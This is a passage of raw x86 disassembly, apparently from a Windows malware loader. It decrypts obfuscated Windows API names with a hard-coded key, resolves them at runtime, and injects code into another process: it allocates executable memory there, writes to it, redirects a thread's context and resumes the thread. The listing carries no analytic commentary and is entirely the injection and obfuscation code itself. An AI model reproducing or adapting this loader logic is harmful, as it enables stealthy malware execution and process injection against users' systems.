mov ecx, [ebp+arg_4]
mov edx, [ecx+34h]
push edx
mov eax, [ebp+lpString2]
push eax ; lpString2
call sub_4017A0
add esp, 0Ch
mov [ebp+hMem], eax
cmp [ebp+hMem], 0
jnz short loc_401A74
mov eax, [ebp+var_2DC]
jmp loc_401CE6
; ---------------------------------------------------------------------------
loc_401A74: ; CODE XREF: sub_401A30+37j
lea ecx, [ebp+var_4]
push ecx
lea edx, [ebp+var_2E0]
push edx
mov eax, [ebp+arg_14]
push eax
lea ecx, [ebp+var_8]
push ecx
lea edx, [ebp+var_2DC]
push edx
lea eax, [ebp+var_2D4]
push eax
mov ecx, [ebp+hMem]
push ecx
call sub_401930
add esp, 1Ch
test eax, eax
jz loc_401CD1
mov [ebp+var_2E4], 0
mov edx, [ebp+arg_4]
mov eax, [edx+34h]
cmp eax, [ebp+var_2E0]
jnz short loc_401AFE
mov ecx, [ebp+var_4]
cmp ecx, [ebp+arg_10]
jb short loc_401AFE
mov edx, [ebp+var_2E0]
mov [ebp+var_2E4], edx
lea eax, [ebp+var_2E8]
push eax
push 40h
mov ecx, [ebp+var_4]
push ecx
mov edx, [ebp+var_2E4]
push edx
mov eax, [ebp+var_2DC]
push eax
call dword_4052BC
jmp loc_401BA3
; ---------------------------------------------------------------------------
loc_401AFE: ; CODE XREF: sub_401A30+92j
; sub_401A30+9Aj
call sub_401780
test eax, eax
jz loc_401BA3
mov ecx, [ebp+var_2E0]
push ecx
mov edx, [ebp+var_2DC]
push edx
call sub_4018E0
add esp, 8
test eax, eax
jz short loc_401B4A
push 40h
push 3000h
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_4]
mov edx, [ecx+34h]
push edx
mov eax, [ebp+var_2DC]
push eax
call dword_4052E0
mov [ebp+var_2E4], eax
loc_401B4A: ; CODE XREF: sub_401A30+F3j
cmp [ebp+var_2E4], 0
jnz short loc_401BA3
mov ecx, [ebp+arg_4]
push ecx
call sub_401800
add esp, 4
test eax, eax
jz short loc_401BA3
push 40h
push 3000h
mov edx, [ebp+arg_10]
push edx
push 0
mov eax, [ebp+var_2DC]
push eax
call dword_4052E0
mov [ebp+var_2E4], eax
cmp [ebp+var_2E4], 0
jz short loc_401BA3
mov ecx, [ebp+var_2E4]
push ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_4]
push eax
call sub_401840
add esp, 0Ch
loc_401BA3: ; CODE XREF: sub_401A30+C9j
; sub_401A30+D5j ...
cmp [ebp+var_2E4], 0
jz loc_401CA1
lea ecx, [ebp+var_2E8]
push ecx
push 4
lea edx, [ebp+var_2E4]
push edx
mov eax, [ebp+var_230]
add eax, 8
push eax
mov ecx, [ebp+var_2DC]
push ecx
call dword_4052E4
mov edx, [ebp+arg_4]
mov eax, [ebp+var_2E4]
mov [edx+34h], eax
lea ecx, [ebp+var_2E8]
push ecx
mov edx, [ebp+arg_10]
push edx
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+var_2E4]
push ecx
mov edx, [ebp+var_2DC]
push edx
call dword_4052E4
test eax, eax
jz short loc_401C6F
mov [ebp+var_2D4], 10007h
mov eax, [ebp+var_2E4]
cmp eax, [ebp+var_2E0]
jnz short loc_401C36
mov ecx, [ebp+arg_4]
mov edx, [ecx+34h]
mov eax, [ebp+arg_4]
add edx, [eax+28h]
mov [ebp+var_224], edx
jmp short loc_401C48
; ---------------------------------------------------------------------------
loc_401C36: ; CODE XREF: sub_401A30+1F0j
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_2E4]
add edx, [ecx+28h]
mov [ebp+var_224], edx
loc_401C48: ; CODE XREF: sub_401A30+204j
lea eax, [ebp+var_2D4]
push eax
mov ecx, [ebp+var_8]
push ecx
call dword_4052D8
mov edx, [ebp+var_8]
push edx
call dword_4052D0
mov eax, [ebp+var_8]
push eax
call dword_405290
jmp short loc_401C9F
; ---------------------------------------------------------------------------
loc_401C6F: ; CODE XREF: sub_401A30+1D8j
push 0
mov ecx, [ebp+var_2DC]
push ecx
call dword_4052F4
mov edx, [ebp+var_8]
push edx
call dword_405290
mov eax, [ebp+var_2DC]
push eax
call dword_405290
mov [ebp+var_2DC], 0FFFFFFFFh
loc_401C9F: ; CODE XREF: sub_401A30+23Dj
jmp short loc_401CD1
; ---------------------------------------------------------------------------
loc_401CA1: ; CODE XREF: sub_401A30+17Aj
push 0
mov ecx, [ebp+var_2DC]
push ecx
call dword_4052F4
mov edx, [ebp+var_8]
push edx
call dword_405290
mov eax, [ebp+var_2DC]
push eax
call dword_405290
mov [ebp+var_2DC], 0FFFFFFFFh
loc_401CD1: ; CODE XREF: sub_401A30+76j
; sub_401A30:loc_401C9Fj
mov ecx, [ebp+hMem]
push ecx ; hMem
call sub_401040
add esp, 4
mov eax, [ebp+var_2DC]
loc_401CE6: ; CODE XREF: sub_401A30+3Fj
mov esp, ebp
pop ebp
retn
sub_401A30 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_401CF0(int, int, LPCSTR lpString2, int)
sub_401CF0 proc near ; CODE XREF: start+102p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
lpString2 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 14h
mov [ebp+var_10], 0FFFFFFFFh
lea eax, [ebp+var_4]
push eax
lea ecx, [ebp+var_C]
push ecx
lea edx, [ebp+var_8]
push edx
lea eax, [ebp+var_14]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_401490
add esp, 18h
test eax, eax
jz short loc_401D57
mov eax, [ebp+arg_C]
push eax ; int
mov ecx, [ebp+var_4]
push ecx ; int
mov edx, [ebp+var_C]
push edx ; int
mov eax, [ebp+var_8]
push eax ; int
mov ecx, [ebp+var_14]
push ecx ; int
mov edx, [ebp+lpString2]
push edx ; lpString2
call sub_401A30
add esp, 18h
mov [ebp+var_10], eax
push 4000h
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+var_C]
push ecx
call dword_4052B8
loc_401D57: ; CODE XREF: sub_401CF0+2Fj
mov eax, [ebp+var_10]
mov esp, ebp
pop ebp
retn
sub_401CF0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401D60 proc near ; CODE XREF: start+2Fp
hLibModule = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 0Ch
push offset ModuleName ; "Ήι8―"
call ds:GetModuleHandleA ; GetModuleHandleA
mov [ebp+var_8], eax
push offset asc_405018 ; "Ό"
call ds:LoadLibraryA ; LoadLibraryA
mov [ebp+hLibModule], eax
push offset asc_4051E8 ; "Ά"
call ds:LoadLibraryA ; LoadLibraryA
mov [ebp+var_4], eax
push offset ProcName ; ""
mov eax, [ebp+hLibModule]
push eax ; hModule
call ds:GetProcAddress ; GetProcAddress
mov dword_4052FC, eax
push offset aB ; ""
mov ecx, [ebp+hLibModule]
push ecx ; hModule
call ds:GetProcAddress ; GetProcAddress
mov dword_4052E0, eax
push offset aR ; ""
mov edx, [ebp+hLibModule]
push edx ; hModule
call ds:GetProcAddress ; GetProcAddress
mov dword_4052C0, eax
push offset aNN ; "κ\t"
mov eax, [ebp+var_8]
push eax ; hModule
call ds:GetProcAddress ; GetProcAddress
mov dword_405294, eax
push offset aSq9j8 ; "ο9¦8"
mov ecx, [ebp+hLibModule]
push ecx ; hModule
call ds:GetProcAddress ; GetProcAddress
mov dword_405298, eax
push offset aFq9v ; "ο9’"
mov edx, [ebp+hLibModule]
push edx ; hModule
call ds:GetProcAddress ; GetProcAddress
mov dword_4052A8, eax
push offset aR_0 ; ""
mov eax, [ebp+hLibModule]
push eax ; hModule
call ds:GetProcAddress ; GetProcAddress
mov dword_40528C, eax
push offset aE ; "
"
mov ecx, [ebp+hLibModule]
push ecx ; hModule
call ds:GetProcAddress ; GetProcAddress
mov dword_4052AC, eax
push offset aB_0 ; ""
mov edx, [ebp+hLibModule]
push edx ; hModule
call ds:GetProcAddress ; GetProcAddress
mov dword_4052B4, eax
push offset aB_1 ; ""
mov eax, [ebp+hLibModule]
push eax ; hModule
call ds:GetProcAddress ; GetProcAddress
mov dword_4052BC, eax
push offset aAq5 ; "ο5·"
mov ecx, [ebp+hLibModule]
push ecx ; hModule
call ds:GetProcAddress ; GetProcAddress
mov dword_4052E4, eax
push offset aD ; ""
mov edx, [ebp+hLibModule]
push edx ; hModule
call ds:GetProcAddress ; GetProcAddress
mov dword_4052D8, eax
push offset aE_0 ; "
"
mov eax, [ebp+hLibModule]
push eax ; hModule
call ds:GetProcAddress ; GetProcAddress
mov dword_4052D0, eax
push offset aF ; ""
mov ecx, [ebp+hLibModule]
push ecx ; hModule
call ds:GetProcAddress ; GetProcAddress
mov dword_405290, eax
push offset aG ; ""
mov edx, [ebp+hLibModule]
push edx ; hModule
call ds:GetProcAddress ; GetProcAddress
mov dword_4052F4, eax
push offset aB_2 ; ""
mov eax, [ebp+hLibModule]
push eax ; hModule
call ds:GetProcAddress ; GetProcAddress
mov dword_4052B8, eax
push offset aR_1 ; ""
mov ecx, [ebp+hLibModule]
push ecx ; hModule
call ds:GetProcAddress ; GetProcAddress
mov dword_4052F0, eax
push offset aD_0 ; ""
mov edx, [ebp+hLibModule]
push edx ; hModule
call ds:GetProcAddress ; GetProcAddress
mov dword_4052C8, eax
push offset aD_1 ; ""
mov eax, [ebp+hLibModule]
push eax ; hModule
call ds:GetProcAddress ; GetProcAddress
mov dword_4052A0, eax
push offset aEs0aNNuqM ; "
ι0\x1B{N=γqΞΓΩ\bΦ"
mov ecx, [ebp+var_8]
push ecx ; hModule
call ds:GetProcAddress ; GetProcAddress
mov dword_4052D4, eax
push offset aEs0z ; "
ι0"
mov edx, [ebp+var_8]
push edx ; hModule
call ds:GetProcAddress ; GetProcAddress
mov dword_405288, eax
push offset aEs0d ; "
ι0"
mov eax, [ebp+var_8]
push eax ; hModule
call ds:GetProcAddress ; GetProcAddress
mov dword_40529C, eax
push offset aFq9v_0 ; "ο9’"
mov ecx, [ebp+hLibModule]
push ecx ; hModule
call ds:GetProcAddress ; GetProcAddress
mov dword_4052C4, eax
push offset aE_1 ; "
"
mov edx, [ebp+hLibModule]
push edx ; hModule
call ds:GetProcAddress ; GetProcAddress
mov dword_4052B0, eax
push offset aD_2 ; ""
mov eax, [ebp+hLibModule]
push eax ; hModule
call ds:GetProcAddress ; GetProcAddress
mov dword_4052F8, eax
push offset aR_2 ; ""
mov ecx, [ebp+hLibModule]
push ecx ; hModule
call ds:GetProcAddress ; GetProcAddress
mov dword_4052CC, eax
push offset aR_3 ; ""
mov edx, [ebp+var_4]
push edx ; hModule
call ds:GetProcAddress ; GetProcAddress
mov dword_4052E8, eax
push offset aE_2 ; "
"
mov eax, [ebp+var_4]
push eax ; hModule
call ds:GetProcAddress ; GetProcAddress
mov dword_4052DC, eax
push offset aE_3 ; "
"
mov ecx, [ebp+var_4]
push ecx ; hModule
call ds:GetProcAddress ; GetProcAddress
mov dword_4052A4, eax
push offset aE_4 ; "
"
mov edx, [ebp+var_4]
push edx ; hModule
call ds:GetProcAddress ; GetProcAddress
mov dword_4052EC, eax
cmp dword_4052FC, 0
jz loc_402132
cmp dword_4052E0, 0
jz loc_402132
cmp dword_4052C0, 0
jz loc_402132
cmp dword_405294, 0
jz loc_402132
cmp dword_405298, 0
jz loc_402132
cmp dword_4052A8, 0
jz loc_402132
cmp dword_40528C, 0
jz loc_402132
cmp dword_4052AC, 0
jz loc_402132
cmp dword_4052B4, 0
jz loc_402132
cmp dword_4052BC, 0
jz loc_402132
cmp dword_4052E4, 0
jz loc_402132
cmp dword_4052D8, 0
jz loc_402132
cmp dword_4052D0, 0
jz loc_402132
cmp dword_405290, 0
jz loc_402132
cmp dword_4052F4, 0
jz loc_402132
cmp dword_4052B8, 0
jz short loc_402132
cmp dword_4052F0, 0
jz short loc_402132
cmp dword_4052C8, 0
jz short loc_402132
cmp dword_4052A0, 0
jz short loc_402132
cmp dword_4052D4, 0
jz short loc_402132
cmp dword_405288, 0
jz short loc_402132
cmp dword_40529C, 0
jz short loc_402132
cmp dword_4052C4, 0
jz short loc_402132
cmp dword_4052B0, 0
jz short loc_402132
cmp dword_4052F8, 0
jz short loc_402132
cmp dword_4052CC, 0
jz short loc_402132
cmp dword_4052E8, 0
jz short loc_402132
cmp dword_4052DC, 0
jz short loc_402132
cmp dword_4052A4, 0
jz short loc_402132
cmp dword_4052EC, 0
jnz short loc_402140
loc_402132: ; CODE XREF: sub_401D60+28Fj
; sub_401D60+29Cj ...
mov eax, [ebp+hLibModule]
push eax ; hLibModule
call ds:FreeLibrary ; FreeLibrary
xor al, al
jmp short loc_402142
; ---------------------------------------------------------------------------
loc_402140: ; CODE XREF: sub_401D60+3D0j
mov al, 1
loc_402142: ; CODE XREF: sub_401D60+3DEj
mov esp, ebp
pop ebp
retn
sub_401D60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402150 proc near ; CODE XREF: start+2Ap
push ebp
mov ebp, esp
push esi
push edi
push 9
push offset ModuleName ; "Ήι8―"
push offset aFor0toud ; "for0toud"
call sub_401050
add esp, 0Ch
mov edi, eax
mov edx, offset ModuleName ; "Ήι8―"
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
push 0Ch
push offset asc_405018 ; "Ό"
push offset aFor0toud ; "for0toud"
call sub_401050
add esp, 0Ch
mov edi, eax
mov edx, offset asc_405018 ; "Ό"
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
push 0Ch
push offset asc_4051E8 ; "Ά"
push offset aFor0toud ; "for0toud"
call sub_401050
add esp, 0Ch
mov edi, eax
mov edx, offset asc_4051E8 ; "Ά"
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
push 0Ch
push offset ProcName ; ""
push offset aFor0toud ; "for0toud"
call sub_401050
add esp, 0Ch
mov edi, eax
mov edx, offset ProcName ; ""
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
push 0Eh
push offset aB ; ""
push offset aFor0toud ; "for0toud"
call sub_401050
add esp, 0Ch
mov edi, eax
mov edx, offset aB ; ""
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
push 12h
push offset aR ; ""
push offset aFor0toud ; "for0toud"
call sub_401050
add esp, 0Ch
mov edi, eax
mov edx, offset aR ; ""
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
push 14h
push offset aNN ; "κ\t"
push offset aFor0toud ; "for0toud"
call sub_401050
add esp, 0Ch
mov edi, eax
mov edx, offset aNN ; "κ\t"
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
push 0Bh
push offset aSq9j8 ; "ο9¦8"
push offset aFor0toud ; "for0toud"
call sub_401050
add esp, 0Ch
mov edi, eax
mov edx, offset aSq9j8 ; "ο9¦8"
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
push 0Eh
push offset aFq9v ; "ο9’"
push offset aFor0toud ; "for0toud"
call sub_401050
add esp, 0Ch
mov edi, eax
mov edx, offset aFq9v ; "ο9’"
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
push 10h
push offset aR_0 ; ""
push offset aFor0toud ; "for0toud"
call sub_401050
add esp, 0Ch
mov edi, eax
mov edx, offset aR_0 ; ""
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
push 11h
push offset aE ; "
"
push offset aFor0toud ; "for0toud"
call sub_401050
add esp, 0Ch
mov edi, eax
mov edx, offset aE ; "
"
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
push 0Eh
push offset aB_0 ; ""
push offset aFor0toud ; "for0toud"
call sub_401050
add esp, 0Ch
mov edi, eax
mov edx, offset aB_0 ; ""
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
push 10h
push offset aB_1 ; ""
push offset aFor0toud ; "for0toud"
call sub_401050
add esp, 0Ch
mov edi, eax
mov edx, offset aB_1 ; ""
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
push 12h
push offset aAq5 ; "ο5·"
push offset aFor0toud ; "for0toud"
call sub_401050
add esp, 0Ch
mov edi, eax
mov edx, offset aAq5 ; "ο5·"
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
push 10h
push offset aD ; ""
push offset aFor0toud ; "for0toud"
call sub_401050
add esp, 0Ch
mov edi, eax
mov edx, offset aD ; ""
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
push 0Ch
push offset aE_0 ; "
"
push offset aFor0toud ; "for0toud"
call sub_401050
add esp, 0Ch
mov edi, eax
mov edx, offset aE_0 ; "
"
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
push 0Bh
push offset aF ; ""
push offset aFor0toud ; "for0toud"
call sub_401050
add esp, 0Ch
mov edi, eax
mov edx, offset aF ; ""
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
push 10h
push offset aG ; ""
push offset aFor0toud ; "for0toud"
call sub_401050
add esp, 0Ch
mov edi, eax
mov edx, offset aG ; ""
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
push 0Bh
push offset aB_2 ; ""
push offset aFor0toud ; "for0toud"
call sub_401050
add esp, 0Ch
mov edi, eax
mov edx, offset aB_2 ; ""
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
push 0Ch
push offset aD_0 ; ""
push offset aFor0toud ; "for0toud"
call sub_401050
add esp, 0Ch
mov edi, eax
mov edx, offset aD_0 ; ""
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
push 0Ch
push offset aR_1 ; ""
push offset aFor0toud ; "for0toud"
call sub_401050
add esp, 0Ch
mov edi, eax
mov edx, offset aR_1 ; ""
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
push 5
push offset aD_1 ; ""
push offset aFor0toud ; "for0toud"
call sub_401050
add esp, 0Ch
mov edi, eax
mov edx, offset aD_1 ; ""
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
push 11h
push offset aEs0aNNuqM ; "
ι0\x1B{N=γqΞΓΩ\bΦ"
push offset aFor0toud ; "for0toud"
call sub_401050
add esp, 0Ch
mov edi, eax
mov edx, offset aEs0aNNuqM ; "
ι0\x1B{N=γqΞΓΩ\bΦ"
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
push 13h
push offset aEs0z ; "
ι0"
push offset aFor0toud ; "for0toud"
call sub_401050
add esp, 0Ch
mov edi, eax
mov edx, offset aEs0z ; "
ι0"
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
push 1Eh
push offset aEs0d ; "
ι0"
push offset aFor0toud ; "for0toud"
call sub_401050
add esp, 0Ch
mov edi, eax
mov edx, offset aEs0d ; "
ι0"
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
push 0Bh
push offset aFq9v_0 ; "ο9’"
push offset aFor0toud ; "for0toud"
call sub_401050
add esp, 0Ch
mov edi, eax
mov edx, offset aFq9v_0 ; "ο9’"
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
push 8
push offset aE_1 ; "
"
push offset aFor0toud ; "for0toud"
call sub_401050
add esp, 0Ch
mov edi, eax
mov edx, offset aE_1 ; "
"
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
push 0Dh
push offset aR_2 ; ""
push offset aFor0toud ; "for0toud"
call sub_401050
add esp, 0Ch
mov edi, eax
mov edx, offset aR_2 ; ""
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
push 0Eh
push offset aD_2 ; ""
push offset aFor0toud ; "for0toud"
call sub_401050
add esp, 0Ch
mov edi, eax
mov edx, offset aD_2 ; ""
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
push 0Ch
push offset aR_3 ; ""
push offset aFor0toud ; "for0toud"
call sub_401050
add esp, 0Ch
mov edi, eax
mov edx, offset aR_3 ; ""
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
push 0Bh
push offset aE_2 ; "
"
push offset aFor0toud ; "for0toud"
call sub_401050
add esp, 0Ch
mov edi, eax
mov edx, offset aE_2 ; "
"
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
push 10h
push offset aE_3 ; "
"
push offset aFor0toud ; "for0toud"
call sub_401050
add esp, 0Ch
mov edi, eax
mov edx, offset aE_3 ; "
"
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
push 0Bh
push offset aE_4 ; "
"
push offset aFor0toud ; "for0toud"
call sub_401050
add esp, 0Ch
mov edi, eax
mov edx, offset aE_4 ; "
"
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
pop edi
pop esi
pop ebp
retn
sub_402150 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4028A0 proc near ; CODE XREF: sub_402E00+EAp
; sub_402E00+10Bp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
mov eax, [ebp+arg_4]
movsx ecx, byte ptr [eax]
test ecx, ecx
jnz short loc_4028B5
mov eax, [ebp+arg_0]
jmp short loc_402909
; ---------------------------------------------------------------------------
loc_4028B5: ; CODE XREF: sub_4028A0+Ej
; sub_4028A0+65j
mov edx, [ebp+arg_0]
movsx eax, byte ptr [edx]
test eax, eax
jz short loc_402907
mov ecx, [ebp+arg_0]
mov [ebp+var_8], ecx
mov edx, [ebp+arg_4]
mov [ebp+var_4], edx
loc_4028CB: ; CODE XREF: sub_4028A0+5Aj
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
test ecx, ecx
jnz short loc_4028DA
mov eax, [ebp+arg_0]
jmp short loc_402909
; ---------------------------------------------------------------------------
loc_4028DA: ; CODE XREF: sub_4028A0+33j
mov edx, [ebp+var_8]
movsx eax, byte ptr [edx]
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov ecx, [ebp+var_8]
add ecx, 1
mov [ebp+var_8], ecx
cmp eax, edx
jz short loc_4028CB
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
jmp short loc_4028B5
; ---------------------------------------------------------------------------
loc_402907: ; CODE XREF: sub_4028A0+1Dj
xor eax, eax
loc_402909: ; CODE XREF: sub_4028A0+13j
; sub_4028A0+38j
mov esp, ebp
pop ebp
retn
sub_4028A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402910 proc near ; CODE XREF: sub_401490+15Fp
; sub_401490+238p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
mov ecx, [ebp+arg_4]
mov [ebp+var_8], ecx
mov edx, [ebp+var_8]
cmp edx, [ebp+var_4]
jnb short loc_40296D
mov eax, [ebp+var_8]
add eax, [ebp+arg_8]
mov [ebp+var_8], eax
mov ecx, [ebp+var_4]
add ecx, [ebp+arg_8]
mov [ebp+var_4], ecx
jmp short loc_402947
; ---------------------------------------------------------------------------
loc_40293E: ; CODE XREF: sub_402910+59j
mov edx, [ebp+arg_8]
sub edx, 1
mov [ebp+arg_8], edx
loc_402947: ; CODE XREF: sub_402910+2Cj
cmp [ebp+arg_8], 0
jz short loc_40296B
mov eax, [ebp+var_8]
sub eax, 1
mov [ebp+var_8], eax
mov ecx, [ebp+var_4]
sub ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
mov eax, [ebp+var_8]
mov cl, [eax]
mov [edx], cl
jmp short loc_40293E
; ---------------------------------------------------------------------------
loc_40296B: ; CODE XREF: sub_402910+3Bj
jmp short loc_4029A4
; ---------------------------------------------------------------------------
loc_40296D: ; CODE XREF: sub_402910+18j
mov edx, [ebp+var_8]
cmp edx, [ebp+var_4]
jz short loc_4029A4
jmp short loc_402980
; ---------------------------------------------------------------------------
loc_402977: ; CODE XREF: sub_402910+92j
mov eax, [ebp+arg_8]
sub eax, 1
mov [ebp+arg_8], eax
loc_402980: ; CODE XREF: sub_402910+65j
cmp [ebp+arg_8], 0
jz short loc_4029A4
mov ecx, [ebp+var_4]
mov edx, [ebp+var_8]
mov al, [edx]
mov [ecx], al
mov ecx, [ebp+var_4]
add ecx, 1
